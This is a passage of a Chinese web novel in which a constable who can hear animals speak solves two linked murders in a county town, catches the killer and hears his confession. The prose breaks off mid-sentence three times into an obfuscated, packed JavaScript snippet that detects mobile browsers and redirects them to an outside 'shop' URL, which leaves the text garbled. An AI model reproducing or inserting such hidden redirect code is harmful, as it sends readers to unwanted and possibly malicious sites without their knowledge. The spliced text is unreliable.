穆青青忽然全明白了。 城北在下游,城南在上游。如果他把尸体扔在城南,被人发现时,大家自然会以为尸体是从更上游的地方漂下来的。 没人会想到城北。 他走那么远,是为了制造尸体是个“外来者”的假象。 尸体发现得越早,官府查案的范围就越集中在城南。 穆青青沉默了一会儿。 【你们能帮我打听一下吗?这附近有没有这样一个人?个子高,肩膀宽,身强体壮,可能住在城北这片?】 灰老鼠丙:【吱!可以啊!我们老鼠亲戚多,我帮你问问。不过可能要等几天,得一个一个传话。】 穆青青:【多谢。我过几天再来。】 灰老鼠甲终于忍不住插嘴了:【吱吱!老三你跟两脚兽说这么多干什么!】 灰老鼠乙:【吱!就是!她能听懂你说话,你也别什么都往外说啊!】 灰老鼠丙:【吱……她问的是肉的事,又不是别的。再说了,那肉我们又没吃到,告诉她又怎样?】 穆青青笑了笑,站起身,拍了拍膝上的土。 她需要等。 等老鼠们的消息。 结果第二天,没等来老鼠,先等来了案子。 一大早,一个妇人跌跌撞撞冲进县衙,哭得上气不接下气。 “官爷!我家男人不见了!六七天了!” 穆青青把她扶到偏厅,倒了杯茶,让她慢慢说。 妇人姓周,是邻县人,三十出头,面容憔悴,眼睛肿得像核桃。 她男人叫周连,是个走街串巷的货郎,常年在外头跑买卖。 六七天前,周连出门时说,这趟去丰城,是替人带封信,跑腿钱给得多,能多挣点。 “他每次出门,我都给他缝个贴身的小口袋,把路引和几钱碎银子缝在里头。”妇人哭着说,手指绞着衣角,“他说这次送信的人姓什么来着……我没记住……只记得是个姓张的,在丰城做生意。他不认识那人,只是顺路捎带。” 姓张的。 穆青青心里一动。 她把那张烂纸片拿出来,递给妇人:“你看看这个。” 妇人接过纸片,凑到窗前对着光看。看了好一会儿,眼泪忽然涌了出来,大颗大颗地砸在纸片上。 “这……这是我家男人写的字啊!”她抬起头,嘴唇哆嗦着,“我不识字,但我认得我男人的字!他写字的时候,最后一笔总是往上翘一点,跟别人不一样!这肯定是他写的,这纸片肯定是从他身上掉下来的!” 穆青青沉默了一会儿,站起身,把妇人扶起来。 “嫂子,我带你去个地方。” 义庄在后街,一间不大的院子,常年阴凉。 仵作掀开白布的时候,妇人只看了一眼,就尖叫一声扑了过去。 “当家的!当家的!”她抱着那具已经冰凉的身体,哭得撕心裂肺。 穆青青却震惊地呆在了门口。 56. 城北疑案(4) 妇人抱着痛哭的那具尸体,居然不是河边发现的那具。 而是死在黄水巷里的那具。 穆青青站在义庄门口,看着周连的媳妇跪在地上,抱着那具已经冰凉的身体,哭得几乎晕过去。她没有进去,只是靠在门框上,等着。 等着妇人哭够了,才让人把她扶出来,送回县衙安顿。 第二个死者的身份终于明朗了。 这两起杀人案果然有联系! 一个淹死的无名男尸,身上有周连写的纸片。 一个被打死的周连,身上什么都没有,但他死之前去见了一个姓“张”的生意人。 中间那根线,一定是那个姓张的人。 首先要确认第一个死者是否就是姓张。 穆青青当即就去找了赵捕头。 “赵捕头,劳烦您两件事。” “你说。” “第一,找个画师来,给河边那具无名男尸画张像,让兄弟们拿着画像去城里挨个问,看看有没有人认识他。重点是那些姓张的商户,或者跟姓张的有来往的人。” 赵捕头点头:“这个容易。第二件呢?” “第二,”穆青青顿了顿,“继续查那个抛尸的人。” 赵捕头愣了一下:“抛尸的人?河边那具不是意外溺亡吗?” 穆青青摇摇头:“不是意外。那具尸体是被人扔进河里的。扔他的人,住在北城。” 赵捕头皱起眉头:“你怎么知道?” 穆青青没有解释。她没法解释老鼠的事。 “我自有我的法子。”她说,“那个人,个子高,肩膀宽,身强体壮,能扛着东西走很远的路。应该住在北城,但不是老弱病残。您让兄弟们排查的时候,多留意这样的人。” 赵捕头虽然疑惑,但也没多问。相处这么久,他早就知道这位穆姑娘查案的路数跟别人不一样,但结果总是对的。 “行,我让人去查。” 画像很快画好了。 画师手艺不错,虽然尸体泡得有些发胀,但还是能看出原本的模样:四十上下的中年男人,圆脸,留着短须,五官端正,看着像个本分人。 赵捕头派了几个小捕快,拿着画像在城里转了两天。 第三天,有人来回话了。 “赵捕头,穆姑娘,北街那边有人认出来了!” 穆青青和赵捕头立刻赶过去。 认人的是个开茶馆的老头,姓陈,在南街开了二十多年茶馆,街坊邻居都认识。 他把画像看了又看,点头道:“没错,是张福来。北街‘张记杂货’的掌柜。” 穆青青问:“陈伯,您最后一次见他是什么时候?” 陈伯想了想:“得有……六七天了吧?他那铺子平时天天开门,那天突然就关了。我还纳闷呢,以为他回老家走亲戚去了。” “他老家在哪儿?” “邻县,具体哪个镇我也不知道。他一个人在丰城做生意,没什么亲戚来往。” 穆青青又问:“他这人平时怎么样?有什么仇家吗?” 陈伯摇头:“没听说。张福来人挺和气的,做生意也本分,不赊不欠的。要说仇家……真没有。” 穆青青谢过陈伯,和赵捕头去了张记杂货铺。 铺子门窗紧闭,门上贴着“盘货”的红纸已经旧得发黄。 他们绕到后院,翻墙进去。 屋里很乱。桌椅歪斜,抽屉开着,地上散落着几张纸。床上被褥凌乱,像是有人匆忙离开。 穆青青翻了一遍,找到几样东西: 一个空信封,收信人写着“张福来亲启”,没有落款。 一摞账本,最后一笔账记在六天前。 还有一张路引,是张福来自己的,邻县人,四十一岁。 穆青青把这些东西收好,心里那个猜测终于落了地。 第一具无名男尸,多半就是张福来了。 周连是来给他送信的。信送到之后,两个人都死了。 那封信现在在谁手里呢? 穆青青把这疑问先按下,转头开始查另一条线:那个住在北城、扛着东西走夜路的人。 赵捕头那边排查了两天,带回一份名单。 “北城那边,符合你条件的,一共四户。”他把名单摊开,“一个木匠,姓钱,三十出头,身板结实。一个码头工人,姓刘,四十左右,膀大腰圆。一个打零工的,姓胡,三十五六,据说力气很大。还有一个……” 他顿了顿,指着最后一个名字:“一个屠户,姓孙,五十多,但身体硬朗,杀猪的,力气也大。” 穆青青看着这四户人家的住址,忽然发现一件事。 这四户人家,居然都集中在同一个地方,都在北城那条老街附近,而且,都在那家杂货铺老板娘家的四周。 就是穆青青之前去过的那家杂货铺。 穆青青想起那个老板娘,话多,热情,就是笑得有点僵。 她站起身:“走,去北城。” 杂货铺还开着。 老板娘正坐在柜台后面嗑瓜子,见穆青青进来,眼睛一亮:“哟,穆姑娘,又来买纸?” 穆青青笑了笑:“不是,来打听个人。” 老板娘放下瓜子:“打听谁?” 穆青青把那份名单拿出来,指着上面的名字:“这几个人,您认识吗?” 老板娘凑过来看了看,点头道:“认识认识,都是街坊。钱木匠住东边第二条巷子,刘大壮是码头工,住西边那条巷子最里头,胡大山打零工的,住我旁边那条巷子往里走第三家,孙屠户住再往东一点。” 她一边说,一边往外指,热情得很。 穆青青顺着她指的方向看过去,把这几户的位置在心里记下。 “这四个人,平时怎么样?有什么特别的吗?” 老板娘想了想:“都挺本分的。钱木匠天天在家做活,不怎么出门。刘大壮早出晚归,一天不落。胡大山常往外跑,有时候一走好几天,对了穆捕头,你见过他的,就是上次你来店里问话,你进门的时候,他正好出门去。孙屠户……他年纪大了,现在不怎么杀猪了,闲在家里。” 穆青青立刻想起来了,那个男人三十五六,皮肤黝黑,肩膀很宽,浓眉,厚嘴唇,左边眉梢有一道浅浅的疤。 她点点头,谢过老板娘后转身出来。 她先去钱木匠家。 钱木匠正在院里刨木头,见官差来了,放下刨子,擦了把汗。 穆青青问了他几句,他说这几天都在家,没出过门。邻居也证实了,说天天听见刨木头的声音。 她又去刘码头工家。 刘家的门虚掩着,院里传出孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215080|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑声。穆青青敲门,一个妇人探出头来。 “刘大哥在家吗?” 妇人摇头:“他天不亮就去码头了,不到天黑不回来。” “这几天他都去吗?” “去啊,一天没落下。”妇人道,“码头活多,他不敢歇。” 穆青青谢过,又去孙屠户家。 孙屠户正坐在院里晒太阳,见官差来了,慢悠悠站起来。 穆青青问了问,他说这几天身子不爽利,一直在家躺着。邻居也证实了,说老孙这几天确实没出门。 三户,都有不在场的证据。 只剩最后一家。 胡打零工的,姓胡,叫胡大山。 穆青青走到巷子最里头,敲了敲门。 没人应。 她又敲了几下,还是没人应。 穆青青绕到后院,翻墙进去。 院子不大,堆着些杂物。正屋的门虚掩着,推门进去,屋里没人。 桌上放着一只粗瓷碗,碗里还剩半碗粥,已经馊了。床上的被褥凌乱,像是匆忙离开。 穆青青在屋里转了一圈,什么都没找到。 她站在屋中央,皱起眉头。 胡大山去哪儿了? 出来的时候,隔壁一个老太太探出头来,打量着她:“找胡大山?” 穆青青点点头。 老太太摆摆手:“不在家。走了好几天了。” “走了?去哪儿了?” “跟着镖局去邻县了。”老太太道,“他常干这个,跟镖队跑短途,当个脚夫扛货。这回好像是七八前走的,说要六七天才能回来。” 穆青青心中一动:“他常跟着哪个镖局?” “城西的,叫‘安远镖局’。” 老太太说完,缩回屋里,关上了门。 穆青青直接去了城西。 安远镖局的院子不大,门口蹲着两只大狗,见人来了,竖起耳朵。 穆青青刚走近,那两只狗就叫了起来。 她站在门口等了一会儿,一个镖师迎出来。 “这位客人找谁?是有东西想跟镖吗?” 穆青青亮出腰牌:“打听个人。有个叫胡大山的,说跟你们跑过镖?” 镖师想了想:“是有这么个人,打零工的,偶尔跟着镖队去邻县打工。” “前几天他跟着出去了吗?” “跟了。”镖师道,“七八天前走的,去了邻县,什么时候回来就不知道了,他不一定会跟着我们的镖队回来。” 穆青青心里有些失望,如果胡大山真的七八天前就跟着镖队去邻县打短工去了,那他是凶手的几率也不大。 就在这时,她脑中光幕忽然亮了。 【安远镖局门口(当前在线:3)】 大黄狗:【汪汪!肉好香啊!好想吃肉啊!】 小黄狗:【汪!我也想吃肉,那天的肉好好吃啊。】 大黄狗:【都过去好多天了,我还记得那晚的肉香味儿呢,真香。】 小黄狗:【汪!那个两脚兽晚上再来拿东西的话,我还叫,除非他给我肉吃。】 大黄狗:【那个两脚兽我记得白天跟着主人们一起离开的,晚上居然又回来给我们肉吃!】 穆青青脚步一顿。 她慢慢转过身,看着那两只狗。 57. 城北疑案(5) 大黄狗正舔着嘴唇,像是在回味什么。二黄狗趴在地上,尾巴一摇一摇,眼睛眯着,晒着太阳,一副餍足的模样。 穆青青走到它们面前,蹲下身。 两只狗警惕地看着她,耳朵竖起来,但没有叫。 她从袖中摸出两块肉干,那是出门时顺手带的,本来是预备着喂巷子里那些猫的。 两只狗的鼻子立刻抽动起来,尾巴也开始摇。 穆青青把肉干放在地上。 大黄狗试探着闻了闻,一口叼起来,嚼得嘎嘣响。二黄狗也不甘示弱,一口吞了下去,连嚼都没嚼。 吃完,两只狗讨好地摇着尾巴,眼睛还盯着她的手,舌头伸得老长。 光幕又亮了。 大黄狗:【汪!这个两脚兽真不错!给的肉也很香!】 二黄狗:【汪!!主人们带着好多东西出发的那天晚上,我也吃过这么好吃的肉。】 穆青青看着那两行字,慢慢站起身。 “主人们带着好多东西出发的那天晚上”,就是镖队出发那天夜里。 “我也吃过这么好吃的肉”,胡大山那天夜里回来过,给它们带了肉。 多半是为了不让它们叫。 穆青青转身看向镖师。 “你们镖局,夜里有人守着吗?” 镖师摇头:“一般没有。狗就是守夜的,有它们在,比人还管用。” 穆青青点点头,谢过他,转身离开。 走出几步,她又回头看了一眼那两只狗。 它们正趴在地上,眯着眼睛晒太阳,尾巴有一搭没一搭地摇着,浑然不知自己刚才说了什么。 穆青青心里那个模糊的方向,终于变得清晰起来。 胡大山七八天前确实跟着镖队出发去邻县了。 可是当天晚上,他就回来了。 并且,他还回到镖局来取走了什么东西。 为了不让镖局的狗叫,他给它们带了肉。 他回来干什么?取走的东西又是什么? 穆青青转身就往回走。 当天晚上,穆青青和赵捕头坐在县衙里,把整条线又过了一遍。 “胡大山有重大嫌疑。”穆青青道,“表面上他跟着镖队出城去邻县了,可实际上当天夜里他就偷偷回城了。” 赵捕头皱起眉头:“他人回来就算了,为何还要去镖局里取东西?” 穆青青摇摇头:“不知道。但他人跑了,就是最大的嫌疑。” 她站起身:“为今之计,只有发海捕文书,通缉胡大山。” 赵捕头愣了一下:“可咱们没证据……” “等找到证据就晚了。”穆青青道,“人跑了,什么证据都没用。先发通缉令,让各州县帮忙堵人。找到人,自然有证据。” 赵捕头想了想,一拍大腿:“行,就这么办!” 穆青青回到自己屋里,铺开纸,拿起炭笔。 她要画一张画像。 不是画师那种画法,是她从前在警校学的素描。当年为了练这个,她不知道画秃了多少根铅笔,画废了多少张纸。 当年她的这点画技跟警队的专业人士相比算不得什么,但现在,在这大曜王朝,她的素描画在外形相似这一点上完全够用了。 胡大山的样子,她见过一面。 三十五六岁年纪,皮肤黝黑,是常年在外跑活晒出来的。肩膀很宽,站在门口把光线都挡住了。浓眉,厚嘴唇,左边眉梢有一道浅浅的疤,不仔细看看不出来。 他说话的时候,眼睛不看人,总是往下看。 穆青青一笔一笔画下去。 眉毛的弧度,眉梢那道疤的位置。鼻梁的宽度,嘴唇的厚度。下巴的轮廓,脖子和肩膀的连接处。 半个时辰后,画像完成了。 纸上那个人,和胡大山有七八分相似。 不是画得有多像,是那股子劲儿对了。那双眼睛往下看的神态,那个微微驼背的站姿,那条从眉梢划下来的浅浅的疤。 穆青青把画像晾干,收好。 第二天一早,她把画像交给赵捕头。 赵捕头接过去看了半天,啧啧称奇:“这画法新鲜,跟咱们画师画的不一样,但看着就是像。” “让下面的人誊抄几十份,发往各州县。”穆青青想了想,道,“尤其是往北边去的官道,客栈、驿站、车马行,都发一份。” 赵捕头应了,拿着画像出去安排。 接下来就是等。 穆青青照常去县衙点卯,照常处理那些鸡毛蒜皮的小案子。 可穆青青心里一直悬着,也不知道她押的北方对不对。 胡大山的模样身材,去了北方毫不起眼,但若是去了南方,就很有点人高马大的感觉,太显眼了。 等了三天,真的有人来报信了。 来报信的是个开客栈的掌柜,姓郑,在邻县官道边上开着一家小店。 他把画像摊在桌上,指着上面的人,手都在抖:“官爷,这人前天在我店里住过一晚!他登记的名字叫‘胡小泉’,跟画像上一模一样!” 穆青青和赵捕头对视一眼,立刻起身。 “他什么时候走的?” “昨天一早!天刚亮就走了!往北去了,说是要去府城找活干!” 穆青青看了看天色,对赵捕头道:“追。” 郑掌柜的客栈在邻县北边,离丰城有两天的路程。胡大山昨天一早走的,他们今天下午才到。 差了一天一夜。 穆青青和赵捕头带着人,沿着官道往北追。 追了一天一夜。 第二天傍晚,府城的城门已经在望。 暮色四合,城门快要关了,进出的人稀稀落落。 穆青青骑在马上,目光扫过城门口那些稀稀落落的人影。 忽然,她看见一个人。 那人穿着灰扑扑的短褐,背着个包袱,正低着头往城门走。走路的姿势有点怪,肩膀一高一低,像是常年扛重物落下的小毛病。 穆青青勒住马,盯着那个背影。 皮肤黝黑。肩膀很宽。左边眉梢…… 那人似乎感觉到什么,抬起头往这边看了一眼。 暮色里,一张脸转过来。浓眉,厚嘴唇,左边眉梢一道浅浅的疤。 胡大山。 他看见官差,脸色瞬间变了。 转身就跑。 “站住!”赵捕头大喝一声,带人追上去。 胡大山跑得很快,在人群中横冲直撞。可赵捕头带的人多,从两边包抄过去,没跑出半条街就把他按住了。 他趴在地上,脸贴着土,喘着粗气,眼睛却还瞪着。 穆青青走过去,蹲下身,看着他。 胡大山也看着她。 两个人对视了很久。 穆青青没说话。 胡大山也没说话。 押回来的路上,胡大山一言不发。 穆青青也不问,只是坐在他旁边,看着车窗外往后退的田野和村庄。 她有时候会想,这个人杀人的时候在想什么。一棍子打下去的时候,手抖不抖。把张福来扔进河里,看着他挣扎着沉下去的时候,心里是什么滋味。 可她没问。 问也没用。到了堂上,自然会招。 到了县衙,崔县令立马升堂。 胡大山跪在堂下,低着头。 崔县令一拍惊堂木:“胡大山!你可知罪?” 胡大山抬起头,看了看堂上的官,又看了看站在一旁的穆青青。 忽然笑了一下。 那笑容很奇怪,不是嘲笑,不是苦笑,是那种“终于来了”的释然。 “我知道。”他说,“我知道早晚有这一天。” 穆青青看着他。 “那你招吧。” 胡大山招了。 一切要从一封信说起。 张福来是个杂货铺掌柜,表面上本本分分做生意。 可实际上他一点也不本分,尤其是他知道了一些不该知道的事后,他的贪婪之心动了。 胡大山在邻县老家的时候杀过人。 那是十几年前的事。 胡大山在老家乡下,和人起了争执。那人是个泼皮,整天游手好闲,专门欺负外乡人。胡大山刚搬去那村,他就找上门来讹钱。胡大山不给,他就动手。 两人扭打起来。胡大山力气大,一推,那人脑袋撞在石头上,死了。 胡大山吓坏了。他把尸体埋在后山,趁着天黑连夜就跑了,一路跑到丰城,改名换姓,靠打零工过日子。 他以为这事神不知鬼不觉。 可他不知道张福来从哪里打听到了这事,而且把事情查了个一清二楚,连那泼皮叫什么、死在哪儿、埋在后山哪个位置,都查得明明白白。 张福来把证据攥在手里也不急着用;他觉得总有机会用的上的。 机会终于来了。 走街串巷的周连偶尔会来张福来的杂货店拿货,他想要在城南买个一进的院子搬家的消息被张福来知道了。 买得起院子就意味着周连手里有一大笔现钱。 张福来可不管周连手里的这一大笔钱来路正不正,反正他决定出手了。 但他需要一个替罪羊。 胡大山就是那个最合适的人选,他是一个杀过人的逃犯,死了也活该。 于是张福来写了一封信,约胡大山见面。信里说,他知道胡大山的事,但他不想告发,只想跟胡大山谈一笔买卖。只要胡大山帮他做一件事,他就替胡大山保守秘密。 他没说是什么事,只让胡大山来城隍庙后殿面谈。 他还恶趣味地绕了一大个圈子来设计这件事。 先是假扮他人找周连当跑腿的,让周连把信送到他自己店铺,再口头让周连将真的那封信送到胡大山手里。 为此还故意让周连签字画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220208|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 押,让他送信成功后再回来取跑腿费。 回来取跑腿费之日,就是张福来对周连动手之时。 周连不知道信里写的什么,只当是普通的跑腿活。他把信送到胡大山手里,转身就走了。 胡大山看完信,脸色变了。 他知道张福来知道他杀人的事了。 他不知道张福来想让他做什么事,但他知道,这种事一旦沾上,就再也甩不脱。 他想了很久,最后他还是去了城隍庙后殿。 不是为了谈张福来口中所谓的买卖,而是为了彻底解决掉张福来。 那天晚上,月亮很亮。 张福来已经等在后殿,看见他来,笑着迎上去。 两个人没说几句话就翻了脸。 张福来拿出那封信威胁他。胡大山冷笑一声,一拳打在他脸上。 张福来倒地,他扑上去,掐着他的脖子问他到底想干什么。 张福来吓坏了,把事情全说了出来,那笔钱,那个替罪羊,那个栽赃的局。 胡大山听着,手越掐越紧。 张福来挣扎了几下,不动了。 胡大山松开手,看着他躺在那里,一动不动。 他愣了很久。 然后他把张福来的东西都搜走了,塞进麻袋里,扛着往南走。 走到城南河边,他把麻袋扔进河里。张福来掉进水里,忽然醒过来,扑腾着挣扎了几下。胡大山站在岸上看着,看着那双手在水面上拍了几下,然后沉下去,再也没起来。 河水恢复平静。月亮照在水面上,亮晃晃的。 胡大山看着那片水面,站了很久。 然后他转身往回走。 走到一半,他忽然想起周连。 周连送过信,他知道自己见过胡大山。万一官府查起来,周连会把他供出来。 胡大山折回去,找到周连住的小客栈。 周连不在。 他在暗处蹲着,等了很久。等到后半夜,周连才摇摇晃晃从外面回来。 周连喝了很多酒,醒来的时候发现自己居然在张福来张老板的家里躺着,而张老板人不见了。 周连脑子晕晕的,也没多想,就自己摇摇晃晃地摸出了院子,往他住的小客栈走去。 胡大山躲在暗处,等他走进巷子。 周连走到巷子中间,忽然停住脚步,回头看了一眼。 什么都没看见。 他笑了一下,继续往前走。 胡大山从背后冲上去,一棍子打在他后脑勺上。 周连闷哼一声,倒在地上,连叫都没叫出来。 胡大山蹲下身,把他身上搜了一遍,把周连身上所有东西都掏干净,几钱碎银子,一块破旧的路引,半块没吃完的干饼。 他本来想把周连也装麻袋里扔河里去的。后来想了想,只是扛着他,把他扔在了离张福来淹死的地方不远处的黄水巷内。 他想着,万一运气好,捕快们认定周连是被张福来打死谋财的,然后张福来自己不小心淹死了呢! 张福来本来就想对周连下手,这是事实。 于是胡大山把张福来扔在黄水巷,然后又敲了他一棍子,确认周连倒在了血泊中,他扛起空麻袋跑了。 第二天,他就找到镖局,跟着镖师队伍一起出发去邻县了;可刚出发不久,他就想起来县里的女捕头貌似很厉害,之前江州城的连环杀人案她都能破,自己仅仅只是跑到邻县不保险。 于是胡大全又趁夜跑回镖局,给那两只狗喂了肉堵住了它们的口,然后把之前仍在镖局院角杂物堆的空麻袋取走了,趁着天还没亮,连夜出城跑路了。 他以为自己做得天衣无缝。 可他不知道,张福来身上那个小口袋破了一个角。那封信和其他东西被他搜走的时候,一小张纸片掉了出来落在衣角,被水泡烂后留下了一个“张”字和一个走之底。 他更不知道,那两只狗,把他半夜回来过的事,全都说了出来。 胡大山说完,垂下头。 堂上一片寂静。 穆青青站在一旁,看着这个跪在地上的男人。 他杀过两个人。不对,是三个人,老家还有一个。 为了掩盖杀一个人,于是他杀了更多的人。 张福来就算了,货郎周连是这起案件里面最倒霉的一个了。 穆青青走出县衙时,天已经黑了。 初秋的风吹过来,凉飕飕的。 她走到巷口,站在那棵老梧桐树下。 树叶子已经开始黄了,再过些日子就要落了。 玳瑁猫跳上墙头,蹲在那里,黄绿异色的眸子在暮色里幽幽发亮。 玳瑁猫舔舔爪子,没再说话。 穆青青转身往家走。 推开院门,小荷正在厨房里忙活,饭菜的香味飘出来。 “姑娘回来了!饭马上好!” 穆青青应了一声,走进屋里。 58. 崔安崔宁 胡大山一案尘埃落定后,丰城县的日子像是被一只温柔的手拨慢了。 穆青青难得过了几天清闲日子。每日点卯应差,处理些鸡毛蒜皮的邻里纠纷,傍晚回来吃过饭,便坐在窗前写她的《市井奇谭录》。 小荷在一旁做针线,时不时抬头看一眼,又低头继续。 梧桐巷的日子照旧。 王娘子依然在院里晾衣裳,边晾边哼小曲,调子跑得没边儿,她自己倒浑然不觉。 李掌柜的算盘声从早响到晚,噼里啪啦的,隔着半条巷子都能听见。 玳瑁猫依然蹲在墙头晒太阳,偶尔跳下来踱几步,在巷子里留下一串梅花印。 日子平淡得像一杯白开水,可穆青青觉得这样才是最好的。 《市井奇谭录》已经写到第五篇了。 第一篇“狸奴窃铜钱”和第二篇“黄仙卖鸡毛”交上去时,书肆掌柜就催着要下一篇,说读者反响极好,有书商买了运去邻县卖,卖得还不错。 第三篇她写了个“井中银”,其实·就是陈实兄妹那桩事,当然地名和人名都改了,只留下那堵墙、那包银子和那双等了二十年的眼睛。 这篇刊出来后,反响比前两篇还大。 赵捕头某天拿着书找到她,神神秘秘地说:“青青,你猜这书里写的谁?” 穆青青装傻:“谁?” “像不像咱们刚破的那个案子?就是刘老头那个!”赵捕头压低声音,“你看这‘井中银’,讲的就是有人把银子砌在墙里,二十年没人发现,最后被一对兄妹挖出来了。跟咱们那案子一模一样!” 穆青青接过书翻了翻,一本正经道:“是吗?我看看……好像是有那么点像。” “什么叫有点?简直一模一样!”赵捕头啧啧称奇,“这写话本的人莫非是咱们衙门里的?不然怎么知道得这么清楚?” 穆青青忍住笑:“也许他听街坊传的,添油加醋写的。” 赵捕头将信将疑,拿着书走了。 第四篇她写了个“喵花大盗”的故事,就是去年那桩豆腐坊“闹鬼”案的改编。豆腐坊老李头每天寅时豆浆必少,查来查去,原是只狸花猫作案。这篇写得轻松诙谐,结尾还让那只猫在月光下舔爪子,一副“本喵光明正大”的得意样儿。 刊出后,豆腐坊生意莫名好了三成。老李头逢人便说,他那豆腐连猫都馋,能不好吃吗? 如今第五篇写的是“算命先生”,以邻县那桩风水先生诈骗案为蓝本。她写得顺手极了,就像这个案子是在丰城县发生的似的。 这几篇话本,虽然都是市井小案,但读者看了之后,会不会真的多长个心眼?下回遇上“神仙显灵”,会不会先低头看看脚下有没有机关?下回丢了东西,会不会先自己找找身边的线索? 也许会的。 这就够了。 小荷忽然抬头道:“姑娘,我听刘婶说,崔大人的儿女过几日就要来丰城了。” 穆青青笔尖一顿:“哦?” “说是从京城来。”小荷放下针线,眼睛亮晶晶的,“崔大人和夫人来丰城上任时,把他们留在老家祖母那儿,如今一年多了,该接来团聚了。听说少爷十二,小姐九岁,都是极懂事的。” 穆青青点点头,继续写。 她对崔家的事知道一些。 崔县令有一双儿女,长子崔安,幼女崔宁,一直留在京城由祖母教养。崔夫人常念叨,说两个孩子乖巧听话,就是想念父母得紧,总吵着要来丰城县。 如今终于要来了。 穆青青想着到时候得备份礼,毕竟是崔夫人待她如亲女,她该去看看两个孩子。 五日后,崔家儿女抵达丰城。 穆青青去的时候,县衙后院里正热闹着。崔夫人拉着两个孩子的手,眼眶红红的,笑得合不拢嘴。崔县令站在一旁,捻着胡须,脸上难得露出不加掩饰的慈爱。 崔安十二岁,生得眉清目秀,站在那里规规矩矩行礼,说话不疾不徐,一看就是被精心教养过的。崔宁九岁,扎着双丫髻,眼睛圆圆的,骨碌碌转,透着几分机灵,却也不失礼数。 “这就是穆姐姐?”崔宁仰头看着她,眼睛亮亮的,“爹爹信里提过,说穆姐姐破了好多案子,比话本里的女侠还厉害!” 穆青青笑了:“那是你爹爹过奖。” “才不是呢。”崔宁认真道,“爹爹从不说过头话。他说穆姐姐心思细,眼力准,有她在,丰城的案子都破得快。” 崔安在一旁点头,没说话,但眼里也有好奇。 穆青青从袖中摸出两个小荷包,递给两人:“一点小玩意儿,不成敬意。” 崔安接过去,打开一看,是一块青玉小印,上面刻着他的名字,是衙门里老吏刻的,刀法工整。崔宁的荷包里是一对黄杨木的小猫,蹲坐着,憨态可掬,是她特意请县里的老木匠雕的。 崔宁喜欢得不行,拿在手里翻来覆去地看,嘴里念叨:“哇,像真的一样!” 崔安也点头道谢,礼数周全。 两个孩子被崔夫人带进去歇息。穆青青正要告辞,崔宁忽然跑回来,拉住她的袖子。 “穆姐姐,”她仰着脸,压低声音问,“你认识六扇门的人吗?” 穆青青愣了一下:“怎么这么问?” 崔宁眨眨眼:“我听京城的表哥说,六扇门可厉害了,专门办大案要案,抓的都是一等一的凶犯。他说有个寇晟寇大人,年纪轻轻就当上了缉捕司统领,破了好多惊天大案。穆姐姐,你见过他吗?” 穆青青笑了。原来小孩子对这些感兴趣。 “见过几面。”她说。 崔宁眼睛一下子亮了:“真的?他长什么样?是不是特别威风?用的什么刀?说话声音大不大?” 穆青青被她一连串问题问得有些招架不住,只好挑着答:“挺威风的,用的刀我没细看,说话声音不大,但听着很有分量。” 崔宁听得入神,又问:“那他会飞檐走壁吗?” “这倒没见着。” 崔宁有些失望,但很快又精神起来:“表哥说,六扇门的人个个都有绝活,有的擅长追踪,有的精于验毒,有的能从一根头发丝查到凶手。穆姐姐,你要是去了六扇门,肯定也能成最厉害的!” 穆青青失笑:“你怎么知道我能成最厉害的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223407|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “因为爹爹说你厉害呀。”崔宁理所当然道,“爹爹从不说谎,他说厉害,那就一定厉害。” 穆青青看着她那认真的小脸,心里软了一下。 此后,崔宁隔三差五就往穆青青这边跑。 小姑娘对什么都好奇。穆青青查案,她要跟着;穆青青去巷子里转,她也要跟着,边走边问这问那。 穆青青也不嫌烦,由着她跟着,偶尔还指点几句。 有一回,西市有户人家丢了鸡,崔宁跟着穆青青去查。 现场乱七八糟,鸡毛满地,笼子门开着。那家妇人哭天抹泪,说这鸡养了两年,下蛋可勤了,如今让贼偷了去,往后的日子可怎么过。 崔宁站在旁边,皱着眉头看了半天,小声道:“穆姐姐,这……这是偷的吗?” 穆青青转头看她:“你觉得呢?” 崔宁指着鸡笼:“笼子门是从里面撞开的,门闩掉在地上,旁边有鸡爪印往外走,还有……还有几根鸡毛沾在门边上,往外飘的那种。” 穆青青点点头,没说话。 崔宁受到鼓励,继续道:“如果是人偷的,应该把门打开,把鸡抓出来。可这门闩是从里面撞断的,像是鸡自己跑出来的。而且那些鸡毛往外飘,不是往里掉,说明鸡是往外跑的时候蹭掉的……” 她说着说着,忽然瞪大眼睛:“穆姐姐,鸡是不是自己跑了?” 穆青青笑了笑,蹲下身,指着墙根处的一串爪印:“看这里。” 崔宁凑过去看。那是一串鸡爪印,歪歪扭扭的,一路延伸到墙根。墙根有个洞,不大不小,正好够一只鸡钻过去。 “它从洞里钻出去了。”穆青青道。 崔宁愣了愣,忽然“噗嗤”一声笑了。 